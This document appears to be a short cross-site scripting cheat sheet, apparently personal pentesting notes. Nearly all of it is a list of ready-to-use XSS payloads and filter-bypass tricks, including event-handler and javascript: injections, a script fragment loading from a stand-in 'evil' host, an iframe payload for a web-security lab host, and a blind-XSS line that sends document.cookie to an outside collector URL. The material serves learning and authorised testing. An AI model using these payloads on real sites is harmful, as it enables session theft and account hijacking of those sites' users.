Cross-Site Scripting
Exploit
Section titled “Exploit”Testing for XSS
Section titled “Testing for XSS”Test for html injection first
<h1>XSS</h1>Fuzz to see what symbols can be used using XSS Cheat Sheet
<script>alert(0)</script>Bypasses
Section titled “Bypasses”Image on error:
<img src=x onerror=print()>href attribute:
href="javascript:alert(1)"fragments:
<script src=//evil/?c=trailing slashes:
`</script/x>`nested tags:
<<h2>>case sensitive:
<IFRAME>non-existent tag:
<notreal onpointerrawupdate=alert(0)>autofocus:
x" onfocus=alert(1) autofocus tabindex=1>onmouseover:
"onmouseover="alert(1)blind xss:
><script>document.location='https://enp0qp6rqroqc.x.pipedream.net?c='+document.cookie</script>iframe:
<iframe src="https://0a9800c3034ba0e181fafc8700b00051.web-security-academy.net/#" onload=this.src+="%3Cimg%20src=x%20onerror=print()%3E"></iframe>